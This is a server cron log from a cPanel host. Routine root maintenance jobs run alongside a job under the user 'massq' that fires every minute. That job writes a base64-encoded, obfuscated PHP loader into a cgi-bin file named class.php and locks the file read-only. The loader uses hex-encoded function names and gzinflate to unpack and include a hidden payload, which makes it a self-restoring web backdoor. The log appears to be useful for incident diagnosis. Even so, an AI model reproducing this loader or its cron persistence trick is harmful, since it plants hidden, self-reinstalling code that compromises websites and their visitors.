Aug 30 18:53:02 server CROND[4342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:54:01 server CROND[4742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:54:01 server CROND[4743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:54:01 server CROND[4744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:55:01 server CROND[5135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:55:01 server CROND[5136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:55:01 server CROND[5143]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:55:01 server CROND[5144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:55:01 server CROND[5145]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:55:01 server CROND[5147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:55:01 server CROND[5146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:56:01 server CROND[5980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:56:01 server CROND[5981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:56:01 server CROND[5982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:57:01 server CROND[6462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:57:01 server CROND[6463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:57:01 server CROND[6465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:57:01 server CROND[6464]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 18:58:01 server CROND[6851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:58:01 server CROND[6852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:58:01 server CROND[6853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:59:01 server CROND[7243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:59:01 server CROND[7244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:59:01 server CROND[7245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:00:01 server CROND[7641]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:00:01 server CROND[7642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:00:01 server CROND[7646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:00:01 server CROND[7657]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 19:00:01 server CROND[7660]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:00:01 server CROND[7664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:00:01 server CROND[7661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:00:01 server CROND[7662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:00:01 server CROND[7663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:01:02 server CROND[8503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:01:02 server CROND[8504]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 19:01:02 server CROND[8506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:01:02 server CROND[8505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:01:02 server run-parts(/etc/cron.hourly)[8504]: starting 0anacron
Aug 30 19:01:02 server run-parts(/etc/cron.hourly)[8525]: finished 0anacron
Aug 30 19:02:01 server CROND[8942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:02:01 server CROND[8943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:02:01 server CROND[8944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:03:01 server CROND[9369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:03:01 server CROND[9370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:03:01 server CROND[9372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:04:01 server CROND[9759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:04:01 server CROND[9761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:04:01 server CROND[9766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:05:01 server CROND[10170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:05:01 server CROND[10171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:05:01 server CROND[10172]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
